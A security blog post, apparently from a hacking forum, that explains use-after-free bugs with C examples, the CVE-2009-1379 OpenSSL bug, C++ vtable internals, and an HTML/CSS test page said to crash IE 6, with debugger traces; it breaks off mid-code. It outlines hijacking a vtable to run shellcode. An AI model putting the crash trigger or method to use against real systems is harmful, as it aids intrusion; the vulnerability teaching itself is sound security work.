<br />
• All shared libraries and dynamically loaded modules in a process could access the heap. This same reason why you can do heap spraying on a browser using any loaded modules example: flash,java script ,vbs etc. <br />
<br />
<a href="http://stackoverflow.com/questions/79923/what-and-where-are-the-stack-and-heap/1213360#1213360" target="_blank">memory management - What and where are the stack and heap? - Stack Overflow</a><br />
<br />
<b><u>Example Program Demonstrating memory allocations. <br />
</u></b><div class="bbcode_container">
	<div class="bbcode_description">PHP Code:</div>
	<div class="bbcode_code"style="height:336px;"><code><code><span style="color: #000000">
<span style="color: #0000BB"><br />int&nbsp;</span><span style="color: #007700">*</span><span style="color: #0000BB">x</span><span style="color: #007700">;&nbsp;</span><span style="color: #FF8000">/*&nbsp;Uninitialized&nbsp;variable&nbsp;stored&nbsp;in&nbsp;bss*/<br /></span><span style="color: #0000BB">int&nbsp;w</span><span style="color: #007700">;&nbsp;</span><span style="color: #FF8000">/*&nbsp;Uninitialized&nbsp;variable&nbsp;stored&nbsp;in&nbsp;bss*/<br /></span><span style="color: #0000BB">int&nbsp;y&nbsp;</span><span style="color: #007700">=</span><span style="color: #0000BB">10&nbsp;</span><span style="color: #007700">;&nbsp;</span><span style="color: #FF8000">/*&nbsp;Initialized&nbsp;variable&nbsp;stored&nbsp;in&nbsp;DSS*/<br /></span><span style="color: #0000BB">void&nbsp;b</span><span style="color: #007700">()<br />{<br />&nbsp;&nbsp;&nbsp;&nbsp;if(</span><span style="color: #0000BB">1</span><span style="color: #007700">==</span><span style="color: #0000BB">1</span><span style="color: #007700">)&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">x&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">malloc</span><span style="color: #007700">(</span><span style="color: #0000BB">sizeof</span><span style="color: #007700">(int));&nbsp;</span><span style="color: #FF8000">/*&nbsp;Memmory&nbsp;allocated&nbsp;in&nbsp;Heap&nbsp;*/<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/*memory&nbsp;not&nbsp;freed&nbsp;*/<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">}<br />&nbsp;&nbsp;<br />}<br /><br /></span><span style="color: #0000BB">void&nbsp;c</span><span style="color: #007700">()<br />{<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">free</span><span style="color: #007700">(</span><span style="color: #0000BB">x</span><span style="color: #007700">);&nbsp;</span><span style="color: #FF8000">/*&nbsp;Memory&nbsp;Freed&nbsp;*/<br /></span><span style="color: #007700">}&nbsp;<br /></span><span style="color: #0000BB">int&nbsp;main</span><span style="color: #007700">(</span><span style="color: #0000BB">void</span><span style="color: #007700">)<br />{&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;static&nbsp;</span><span style="color: #0000BB">int&nbsp;f&nbsp;</span><span style="color: #007700">=</span><span style="color: #0000BB">10&nbsp;&nbsp;</span><span style="color: #007700">;&nbsp;</span><span style="color: #FF8000">/*&nbsp;Initialized&nbsp;static&nbsp;variable&nbsp;stored&nbsp;in&nbsp;DS&nbsp;*/<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">static&nbsp;</span><span style="color: #0000BB">int&nbsp;i</span><span style="color: #007700">;&nbsp;</span><span style="color: #FF8000">/*&nbsp;Uninitialized&nbsp;static&nbsp;variable&nbsp;stored&nbsp;in&nbsp;bss&nbsp;*/<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">b</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">c</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">;<br />}&nbsp;<br /></span><span style="color: #0000BB"></span>
</span>
</code></code></div>
</div><a href="http://www.geeksforgeeks.org/archives/14268" target="_blank">http://www.geeksforgeeks.org/archives/14268</a><br />
<br />
In short large variables of arrays whose size may vary, heap memory allocation is used. So heap related security issues occur when<br />
1) Not freeing all of the memory allocated ending up with memory leaks.<br />
2)Using of already released memory would lead to Use after free security issues.<br />
3) Double freeing memory would cause memory corruptions . <br />
<br />
<br />
<u><b><font color="#3E3E3E">Use after free issues and example buggy codes.<br />
</font></b></u>[I]#dangling pointers #use after free #double free<br />
<br />
<i><u>Example Buggy program:<br />
</u></i><br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<pre class="bbcode_code"style="height:204px;">int main(void)
{   
char *ch_ptr = malloc(100);
int i;
for (i = 0; i &lt; 99; i++) 
{
ch_ptr<i> = 'A';
free(ch_ptr);
printf(&quot;%s\n&quot;, ch_ptr);

}

}

</i></pre>
</div><i><br />
<br />
Here at line 3 char_ptr is allocated a 100 bytes heap and later inside the for loop at line 8 the heap is deallocated.  And at line 9 the de referenced pointer is called again. So this will trigger a memory corruption as follows.<br />
<br />
<img src="http://www.garage4hackers.com/attachment.php?attachmentid=550&amp;d=1352590591" border="0" alt="Name:  Ufa-exe1-tiff.jpg
Views: 2202
Size:  97.6 KB"  style="float: CONFIG" /><br />
<br />
So the exploitation goes based on the nature of the crash, we will dig into the exploitation methods later.<br />
<br />
<br />
<b>A Live example:</b><br />
<br />
For demonstration a good and easy to understand bug would be the CVE-2009-1379 OpenSSL from 0.9.8 to 0.9.8k use after free bug. <br />
</i><br />
<br />
<u>The buggy code:<br />
<img src="http://www.garage4hackers.com/attachment.php?attachmentid=552&amp;d=1352655045" border="0" alt="Name:  opuaf-tiff (2).jpg
Views: 2672
Size:  91.2 KB"  style="float: CONFIG" /><br />
</u><a href="https://bugzilla.redhat.com/attachment.cgi?id=344671&amp;action=diff" target="_blank">https://bugzilla.redhat.com/attachme...71&amp;action=diff</a><br />
<u><font color="#0000ff">The Bug:<br />
</font></u><br />
al is initilized at line 424 to &amp;frag-&gt;msg_header and at line 533 it's freed using dtls1_hm_fragment_free(frag); and at line 536  if the following condition satisfies &quot;(if al=0)&quot; then program will try to access &quot;frag&quot; line 539 which was freed at line 533. So this will cause an invalid read operation , possibly crashing the app, and if we are some how able to control the adress that its reading form [heap spray!! or what ever], then we would be able to achieve code execution. <br />
<br />
<br />
<font color="#0000ff">The Fix:<br />
</font>The simple fix to this was to add a temporary variable at line 533 &quot;<font color="#000000"><span style="font-family: monospace">frag_len = frag-&gt;msg_header.frag_len;</span></font><font color="#000000"><span style="font-family: monospace">&quot;</span></font> holding frag-&gt;msg_header.frag_len. And later return frag_len instead of the freed object.  <br />
<br />
<u><b>Fuzzing for Use After Free and Fuzzers <br />
</b></u><br />
<br />
*We will have another blog post for this some time later. <br />
<br />
<b><u>Exploiting Use after free bugs.<br />
</u></b><br />
<u>C++ Virtual Functions :</u><br />
<br />
C++ matches a correct function call based on the type of the object at runtime. This is called dynamic binding and this is done by using the keyword <i>&quot;virtual&quot;</i>. The virtual keyword instructs the compiler that it should choose the right function based on the object it's reference referred to rather than the type. These objects that are referred by virtual functions points to a virtual table VFTABLE[Virtual Function Table] . It's where all the virtual functions adress are stored. It would be the first DWORD in the object memory. <br />
<br />
<img src="http://www.garage4hackers.com/attachment.php?attachmentid=555&amp;d=1352826557" border="0" alt="Name:  vfun3-tiff.jpg
Views: 2242
Size:  82.9 KB"  style="float: CONFIG" /><br />
Image Source:<a href="http://www.blackhat.com/presentations/bh-usa-07/Afek/Whitepaper/bh-usa-07-afek-WP.pdf" target="_blank">http://www.blackhat.com/presentation...07-afek-WP.pdf</a> <br />
<br />
<br />
Example Program:<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">PHP Code:</div>
	<div class="bbcode_code"style="height:372px;"><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #FF8000">#include&lt;iostream&gt;<br /></span><span style="color: #0000BB">using&nbsp;</span><span style="color: #007700">namespace&nbsp;</span><span style="color: #0000BB">std</span><span style="color: #007700">;<br /><br />class&nbsp;</span><span style="color: #0000BB">Test<br /></span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;:<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">virtual&nbsp;void&nbsp;Show</span><span style="color: #007700">()<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">cout</span><span style="color: #007700">&lt;&lt;</span><span style="color: #DD0000">"I&nbsp;am&nbsp;in&nbsp;Test&nbsp;Class"</span><span style="color: #007700">&lt;&lt;</span><span style="color: #0000BB">endl</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />};<br /><br />class&nbsp;</span><span style="color: #0000BB">Test1&nbsp;</span><span style="color: #007700">:&nbsp;public&nbsp;</span><span style="color: #0000BB">Test<br /></span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">virtual&nbsp;void&nbsp;Show</span><span style="color: #007700">()<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">cout</span><span style="color: #007700">&lt;&lt;</span><span style="color: #DD0000">"I&nbsp;am&nbsp;in&nbsp;Test1&nbsp;Class"</span><span style="color: #007700">&lt;&lt;</span><span style="color: #0000BB">endl</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />};<br /><br /></span><span style="color: #0000BB">int&nbsp;main</span><span style="color: #007700">()<br />{<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Test&nbsp;</span><span style="color: #007700">*</span><span style="color: #0000BB">Obj</span><span style="color: #007700">;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Test&nbsp;Obj1</span><span style="color: #007700">;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//&nbsp;Base&nbsp;Class&nbsp;Object<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Test1&nbsp;Obj2</span><span style="color: #007700">;&nbsp;&nbsp;</span><span style="color: #FF8000">//Derived&nbsp;Class&nbsp;Object<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Obj&nbsp;</span><span style="color: #007700">=&nbsp;&amp;</span><span style="color: #0000BB">Obj2</span><span style="color: #007700">;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Obj</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">Show</span><span style="color: #007700">();&nbsp;&nbsp;</span><span style="color: #FF8000">//In&nbsp;this&nbsp;case&nbsp;derived&nbsp;class&nbsp;show&nbsp;function&nbsp;called.<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Obj&nbsp;</span><span style="color: #007700">=&nbsp;&amp;</span><span style="color: #0000BB">Obj1</span><span style="color: #007700">;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Obj</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">Show</span><span style="color: #007700">();&nbsp;</span><span style="color: #FF8000">//In&nbsp;this&nbsp;case&nbsp;Base&nbsp;class&nbsp;show&nbsp;function&nbsp;called.<br /></span><span style="color: #007700">}<br /><br />&#91;</span><span style="color: #0000BB">B</span><span style="color: #007700">&#93;And&nbsp;</span><span style="color: #0000BB">the&nbsp;output&nbsp;is&nbsp;</span><span style="color: #007700">:&#91;/</span><span style="color: #0000BB">B</span><span style="color: #007700">&#93;<br /><br />&#91;</span><span style="color: #0000BB">CODE</span><span style="color: #007700">&#93;</span><span style="color: #0000BB">I&nbsp;am&nbsp;in&nbsp;Test1&nbsp;</span><span style="color: #007700">Class<br /></span><span style="color: #0000BB">I&nbsp;am&nbsp;in&nbsp;Test&nbsp;</span><span style="color: #007700">Class&#91;/</span><span style="color: #0000BB">CODE</span><span style="color: #007700">&#93;&nbsp;<br /></span><span style="color: #0000BB"></span>
</span>
</code></code></div>
</div><a href="http://www.go4expert.com/forums/showthread.php?t=5495" target="_blank">Virtual Functions in C++</a><br />
<a href="http://publib.boulder.ibm.com/infocenter/lnxpcomp/v8v101/index.jsp?topic=%2Fcom.ibm.xlcpp8l.doc%2Flanguage%2Fref%2Fcplr139.htm" target="_blank">IBM Linux Compilers</a><br />
<br />
The above program will have the following vftable structure. <br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<pre class="bbcode_code"style="height:252px;"><font color="#800000">Class Test size(8):</font>
      <font color="#800000">+---
      |{vfptr}
      +---
      
      Test's Vftable:
      +--
      | {vfptr}
      | &amp;test::Show
      
Class Test1 size(8):
      +---
      |{vfptr}
      +---      
      
      Test1's Vftable:
      +--
      | {vfptr}
      | &amp;test1::Show</font></pre>
</div><img src="http://www.garage4hackers.com/attachment.php?attachmentid=554&amp;d=1352825518" border="0" alt="Name:  vfun2-tiff.jpg
Views: 2209
Size:  80.7 KB"  style="float: CONFIG" /><br />
<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<pre class="bbcode_code"style="height:372px;">

004013D0  |. 8D45 C8        LEA EAX,DWORD PTR SS:[EBP-38]
004013D3  |. 8945 F4        MOV DWORD PTR SS:[EBP-C],EAX
004013D6  |. 8B45 F4        MOV EAX,DWORD PTR SS:[EBP-C]
004013D9  |. 8B10           MOV EDX,DWORD PTR DS:[EAX]
004013DB  |. 8B45 F4        MOV EAX,DWORD PTR SS:[EBP-C]
004013DE  |. 890424         MOV DWORD PTR SS:[ESP],EAX
004013E1  |. 8B02           MOV EAX,DWORD PTR DS:[EDX]
<b>004013E3  |. FFD0           CALL EAX
</b>

<font color="#0000ff">Here EAX point to the Virtual Function table which point to calls the &quot;Test1&quot; 
</font>
004013E5  |. C70424 0000440&gt;MOV DWORD PTR SS:[ESP],vfunc.00440000                  ; |ASCII &quot;pause&quot;
004013EC  |. E8 AFF20000    CALL &lt;JMP.&amp;msvcrt.system&gt;                              ; \system
004013F1  |. 8D45 D8        LEA EAX,DWORD PTR SS:[EBP-28]
004013F4  |. 8945 F4        MOV DWORD PTR SS:[EBP-C],EAX
004013F7  |. 8B45 F4        MOV EAX,DWORD PTR SS:[EBP-C]
004013FA  |. 8B10           MOV EDX,DWORD PTR DS:[EAX]
004013FC  |. 8B45 F4        MOV EAX,DWORD PTR SS:[EBP-C]
004013FF  |. 890424         MOV DWORD PTR SS:[ESP],EAX
00401402  |. 8B02           MOV EAX,DWORD PTR DS:[EDX]
<b>00401404  |. FFD0           CALL EAX
</b><font color="#0000ff">Here EAX point to the Virtual Function table and calls the &quot;Test&quot; class


</font>00401406  |. C70424 0000440&gt;MOV DWORD PTR SS:[ESP],vfunc.00440000                  ; |ASCII &quot;pause&quot;
0040140D  |. E8 8EF20000    CALL &lt;JMP.&amp;msvcrt.system&gt;                              ; \system
00401412  |. B8 00000000    MOV EAX,0
00401417  |. C9             LEAVE
00401418  \. C3             RETN</pre>
</div>Lets put a break point on Call and analyze where EAX point to:<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<pre class="bbcode_code"style="height:240px;">0:000&gt; t
eax=00410a5c ebx=00004000 ecx=0040cc50 edx=00441c84 esi=00def786 edi=00def6f2
eip=004013e3 esp=0022ff10 ebp=0022ff78 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
image00400000+0x13e3:
004013e3 ffd0            call    eax {image00400000+0x10a5c (00410a5c)}


0:000&gt; u 00410a5c
image00400000+0x10a5c:
00410a5c 55              push    ebp
00410a5d 89e5            mov     ebp,esp
00410a5f 83ec08          sub     esp,8
00410a62 c744240419004400 mov     dword ptr [esp+4],offset image00400000+0x40019 (00440019)
00410a6a c70424c0334400  mov     dword ptr [esp],offset image00400000+0x433c0 (004433c0)
00410a71 e8a6b60200      call    image00400000+0x3c11c (0043c11c)
00410a76 c7442404ecae4300 mov     dword ptr [esp+4],offset image00400000+0x3aeec (0043aeec)
00410a7e 890424          mov     dword ptr [esp],eax</pre>
</div>Now that we are clear how VFtable works the exploitation of Use-after free could be done a couple of ways.The basic way of doing it would be. <ul><li>De allocate an object having a VFT entry</li>
<li>Controlling the Vftable and pointing it to out own [shellcode]code.</li>
<li>So now when a Virtual Function call takes place it point to our injected code.</li>
</ul><b><u>Use After Free Exploitation [IE 6 0-day].<br />
</u></b><br />
<br />
<br />
<br />
<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">HTML Code:</div>
	<pre class="bbcode_code" style="height:32*12px};"><span style="color:#000080">&lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTAL 1.0 Transitional//EN&quot; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&gt;</span>
<span style="color:#000080">&lt;html xmlns=<span style="color:#0000FF">&quot;http://www.w3.org/1999/xhtml&quot;</span> &gt;</span>
<span style="color:#000080">&lt;head&gt;</span>
<span style="color:#000080">&lt;meta http-equiv=&quot;Content-Type&quot; content=<span style="color:#0000FF">&quot;text/html; charset=utf-8&quot;</span>/&gt;</span>
<span style="color:#000080">&lt;meta http-equiv=&quot;refresh&quot; content=<span style="color:#0000FF">&quot;1&quot;</span>&gt;</span>
<span style="color:#000080">&lt;title&gt;</span>FB1H2S Browser Test , soemthing weired here<span style="color:#000080">&lt;/title&gt;</span>
<span style="color:#000080">&lt;link href=<span style="color:#0000FF">&quot;sass.css&quot;</span> rel=<span style="color:#0000FF">&quot;stylesheet&quot;</span> type=<span style="color:#0000FF">&quot;text/css&quot;</span>/&gt;</span>




<span style="color:#800000">&lt;script src=<span style="color:#0000FF">&quot;http://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js&quot;</span> type=<span style="color:#0000FF">&quot;text/javascript&quot;</span>&gt;</span><span style="color:#800000">&lt;/script&gt;</span>
<span style="color:#800000">&lt;script&gt;</span>




document.write(&quot;FB1H2S Use After Free test#213&quot;);
<span style="color:#800000">&lt;/script&gt;</span>




<span style="color:#000080">&lt;/head&gt;</span>




<span style="color:#000080">&lt;body&gt;</span>




<span style="color:#000080">&lt;div style=<span style="color:#0000FF">&quot;float:left; width:770px; margin-left:8px;&quot;</span>&gt;</span>




<span style="color:#000080">&lt;div class=<span style="color:#0000FF">&quot;fb1h2s_fb1h2s&quot;</span>&gt;</span>




<span style="color:#000080">&lt;/div&gt;</span>
<span style="color:#000080">&lt;span &gt;</span> <span style="color:#000080">&lt;/span&gt;</span>




<span style="color:#000080">&lt;div class=<span style="color:#0000FF">&quot;fb1h2s_fb1h2s_fb1h2s&quot;</span>&gt;</span>




<span style="color:#000080">&lt;div class=<span style="color:#0000FF">&quot;fb1h2s_fb1h2s_fb1h4s&quot;</span> &gt;</span>
IE WTF
<span style="color:#000080">&lt;/div&gt;</span>












<span style="color:#000080">&lt;div class=<span style="color:#0000FF">&quot;aboutproduct&quot;</span>&gt;</span>FB1H2s : FB!H2S : THE Garage 4 Hackers : Bla Bla Bla<span style="color:#000080">&lt;/div&gt;</span>
<span style="color:#000080">&lt;/div&gt;</span>




<span style="color:#000080">&lt;div class=<span style="color:#0000FF">&quot;fb1h2s_fb1h2s_fb1h3s&quot;</span>&gt;</span>




<span style="color:#000080">&lt;/div&gt;</span>
<span style="color:#000080">&lt;/div&gt;</span>




<span style="color:#000080">&lt;/body&gt;</span>
<span style="color:#000080">&lt;/html&gt;</span>
sass.css




.fb1h2s_fb1h2s,
.fb1h2s_fb1h2s_fb1h2s{background-color:#fff;width:564px;float:left;height:auto;marg *in:5px 0 5px 9px}
.fb1h2s_fb1h2s_fb1h3s{float:left;width:164px;margi *n-left:5px}
.fb1h2s_fb1h2s_fb1h4s{width:551px;height:34px;back *ground-repeat:no-repeat;font-size:13px;font-weight:700;font-family:arial;margin-left:10px;float:left;padding:7px 0 0 10px}
.aboutproduct{width:530px;height:auto;text-align:justify;line-height:18px;float:left;font-family:arial;color:#333;margin-bottom:10px;padding:0 5px 5px 13px}


</pre>
</div>The program crashes on IE 6 with the following exception.<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<pre class="bbcode_code"style="height:120px;">(914.8fc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=04cb4740 ebx=00000000 ecx=04cb4740 edx=04b80bfc esi=04cd8b40 edi=00080000
eip=7d51f463 esp=0013e5a4 ebp=0013e5f0 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
mshtml!CDispNode::GetRootNode+0x6:
7d51f463 8b4808          mov     ecx,dword ptr [eax+8] ds:0023:04cb4748=????????</pre>
</div><br />
The Backtrace. <br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<pre class="bbcode_code"style="height:288px;">0:000&gt; knL
 # ChildEBP RetAddr  
00 0013b478 7d54f5c0 mshtml!CDispNode::GetDispRoot+0x12
01 0013b4bc 7d55118b mshtml!CDispNode::ReplaceNode+0xdb
02 0013b50c 7d50b3ad mshtml!CLayout::EnsureDispNodeCore+0x348
03 0013b5bc 7d688af4 mshtml!CLayout::EnsureDispNode+0x5a
04 0013b7f0 7d5b170b mshtml!CFlowLayout::CalcSizeCoreCSS1Strict+0x3ff
05 0013b808 7d50a136 mshtml!CFlowLayout::CalcSizeCore+0x2f
06 0013b840 7d5069d1 mshtml!CFlowLayout::CalcSizeVirtual+0x17e
07 0013b954 7d539257 mshtml!CLayout::CalcSize+0x224
08 0013b9c8 7d539def mshtml!CFlowLayout::MeasureSite+0x1e5
09 0013ba0c 7d539d26 mshtml!CFlowLayout::GetSiteWidth+0x12b
0a 0013ba38 7d6ca5e3 mshtml!CLSMeasurer::GetSiteWidth+0x80
0b 0013bb44 7d5befb2 mshtml!CRecalcLinePtr::AlignObjects+0x30b
0c 0013bbc4 7d5136e0 mshtml!CRecalcLinePtr::CalcAlignedSitesAtBOLCore+0x1d7
0d 0013bc14 7d514345 mshtml!CRecalcLinePtr::CalcAlignedSitesAtBOL+0xa9
0e 0013bcc8 7d5131cd mshtml!CRecalcLinePtr::MeasureLine+0x384
0f 0013c084 7d5114a5 mshtml!CDisplay::RecalcLinesWithMeasurer+0x502
10 0013c204 7d506252 mshtml!CDisplay::RecalcLines+0x67
11 0013c21c 7d506529 mshtml!CDisplay::RecalcView+0x6b
12 0013c2c4 7d689582 mshtml!CFlowLayout::CalcTextSize+0x2ee
13 0013c4fc 7d5b170b mshtml!CFlowLayout::CalcSizeCoreCSS1Strict+0xe8d</pre>
</div>Disassembly of the crashed function:<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<pre class="bbcode_code"style="height:108px;">mshtml!CDispNode::GetRootNode+0x6:
7d51f463 8b4808          mov     ecx,dword ptr [eax+8]
7d51f466 85c9            test    ecx,ecx
7d51f468 7404            je      mshtml!CDispNode::GetRootNode+0xd (7d51f46e)
7d51f46a 8bc1            mov     eax,ecx
7d51f46c ebf5            jmp     mshtml!CDispNode::GetRootNode+0x6 (7d51f463)
7d51f46e c3              ret</pre>
</div>The entire code flow is as follows.<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<pre class="bbcode_code"style="height:360px;">mshtml!CDispNode::GetDispRoot:
7d51f437 8bff            mov     edi,edi
7d51f439 56              push    esi
7d51f43a e822000000      call    mshtml!CDispNode::GetRootNode (7d51f461)
7d51f43f 8bf0            mov     esi,eax
7d51f441 85f6            test    esi,esi
7d51f443 0f84c1020000    je      mshtml!CDispNode::GetDispRoot+0x1d (7d51f70a)
7d51f449 8b06            mov     eax,dword ptr [esi]
7d51f44b 8bce            mov     ecx,esi
7d51f44d ff5034          call    dword ptr [eax+34h]
7d51f450 85c0            test    eax,eax
7d51f452 0f84b2020000    je      mshtml!CDispNode::GetDispRoot+0x1d (7d51f70a)
7d51f458 8bc6            mov     eax,esi
7d51f45a 5e              pop     esi
7d51f45b c3              ret
7d51f45c 90              nop
7d51f45d 90              nop
7d51f45e 90              nop
7d51f45f 90              nop
7d51f460 90              nop
mshtml!CDispNode::GetRootNode:
7d51f461 8bc1            mov     eax,ecx
7d51f463 8b4808          mov     ecx,dword ptr [eax+8] ds:0023:04cb4748=????????
7d51f466 85c9            test    ecx,ecx
7d51f468 7404            je      mshtml!CDispNode::GetRootNode+0xd (7d51f46e)
7d51f46a 8bc1            mov     eax,ecx
7d51f46c ebf5            jmp     mshtml!CDispNode::GetRootNode+0x6 (7d51f463)
7d51f46e c3              ret</pre>
</div><u>The C equivalent code:<br />
</u><br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">PHP Code:</div>
	<div class="bbcode_code"style="height:372px;"><code><code><span style="color: #000000">
<span style="color: #0000BB">int&nbsp;__thiscall&nbsp;CElement__GetParentAncestorSafe</span><span style="color: #007700">(</span><span style="color: #0000BB">int&nbsp;this</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">int&nbsp;a2</span><span style="color: #007700">)<br />{<br />&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;result</span><span style="color: #007700">;&nbsp;</span><span style="color: #FF8000">//&nbsp;eax@1<br />&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;v3</span><span style="color: #007700">;&nbsp;</span><span style="color: #FF8000">//&nbsp;ecx@1<br />&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;v4</span><span style="color: #007700">;&nbsp;</span><span style="color: #FF8000">//&nbsp;ecx@2<br /><br />&nbsp;&nbsp;</span><span style="color: #0000BB">v3&nbsp;</span><span style="color: #007700">=&nbsp;*(</span><span style="color: #0000BB">_DWORD&nbsp;</span><span style="color: #007700">*)(</span><span style="color: #0000BB">this&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">16</span><span style="color: #007700">);<br />&nbsp;&nbsp;</span><span style="color: #0000BB">result&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">;<br />&nbsp;&nbsp;if&nbsp;(&nbsp;</span><span style="color: #0000BB">v3&nbsp;</span><span style="color: #007700">)<br />&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">v4&nbsp;</span><span style="color: #007700">=&nbsp;*(</span><span style="color: #0000BB">_DWORD&nbsp;</span><span style="color: #007700">*)(</span><span style="color: #0000BB">v3&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">4</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(&nbsp;</span><span style="color: #0000BB">v4&nbsp;</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;do<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(&nbsp;*(</span><span style="color: #0000BB">_BYTE&nbsp;</span><span style="color: #007700">*)(</span><span style="color: #0000BB">v4&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">8</span><span style="color: #007700">)&nbsp;==&nbsp;</span><span style="color: #0000BB">a2&nbsp;</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">v4&nbsp;</span><span style="color: #007700">=&nbsp;*(</span><span style="color: #0000BB">_DWORD&nbsp;</span><span style="color: #007700">*)(</span><span style="color: #0000BB">v4&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">4</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;while&nbsp;(&nbsp;</span><span style="color: #0000BB">v4&nbsp;</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(&nbsp;</span><span style="color: #0000BB">v4&nbsp;</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">result&nbsp;</span><span style="color: #007700">=&nbsp;*(</span><span style="color: #0000BB">_DWORD&nbsp;</span><span style="color: #007700">*)</span><span style="color: #0000BB">v4</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;}<br />&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">result</span><span style="color: #007700">;<br />}<br /><br />/(</span><span style="color: 